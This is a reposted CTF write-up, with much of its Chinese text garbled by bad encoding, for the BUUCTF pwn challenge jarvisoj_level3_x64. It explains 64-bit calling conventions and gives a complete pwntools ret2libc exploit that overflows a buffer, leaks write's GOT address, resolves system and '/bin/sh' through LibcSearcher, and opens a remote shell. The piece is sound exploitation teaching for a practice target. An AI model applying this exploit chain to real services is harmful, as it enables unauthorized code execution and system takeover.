BUUCTF(pwn)jarvisoj_level3_x64
這道題是一道簡(jiǎn)單的rop類型的題目,跟之前做的題目有一些差異:( 這是64位的需要一些額外的操作 )
64位匯編傳參,當(dāng)參數(shù)少于7個(gè)時(shí), 參數(shù)從左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 當(dāng)參數(shù)為7個(gè)以上時(shí), 前 6 個(gè)與前面一樣, 但后面的依次從 “右向左” 放入棧中,即和32位匯編一樣。
這里我們使用 write 函數(shù) 來(lái)泄密 libc地址
ssize_t write(int fd,const void*buf,size_t count); 參數(shù)說明:
fd:是文件描述符(write所對(duì)應(yīng)的是寫,即就是1) buf:通常是一個(gè)字符串,需要寫入的字符串 count:是每次寫入的字節(jié)數(shù)
write 函數(shù)的特殊之處是 它具有多個(gè)參數(shù);
這里我們需要獲得3個(gè)寄存器的地址來(lái) 存取參數(shù);
rdi = 0x4006b3
rsi = 0x4006b1
這里 rsi 這個(gè)地址后面還跟著一個(gè) 寄存器 r15; 剛好夠了3個(gè)寄存器 來(lái)供我們輸入?yún)?shù);
下面就是一些基本的ropexp;
from pwn import * from LibcSearcher import * r=remote('node3.buuoj.cn',29161) elf=ELF("./1") write_plt=elf.plt["write"] write_got=elf.got["write"] main=0x40061A rdi=0x4006b3 rsi=0x4006b1 payload='a'*(0x80+0x8)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+p64(8)+p64(write_plt)+p64(main) r.sendlineafter("Input:\n",payload) write_addr = u64(r.recv(8)) libc=LibcSearcher('write',write_addr) offset=write_addr-libc.dump('write') sys=offset+libc.dump('system') binsh=offset+libc.dump('str_bin_sh') payload='a'*(0x80+0x8)+p64(rdi)+p64(binsh)+p64(sys) r.sendlineafter("Input:\n",payload) r.interactive()對(duì)exp有疑問的歡迎留言
與50位技術(shù)專家面對(duì)面20年技術(shù)見證,附贈(zèng)技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的BUUCTF(pwn)jarvisoj_level3_x64的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BUUCTF(pwn)mrctf2020
- 下一篇: Pwntools---fmtstr_pa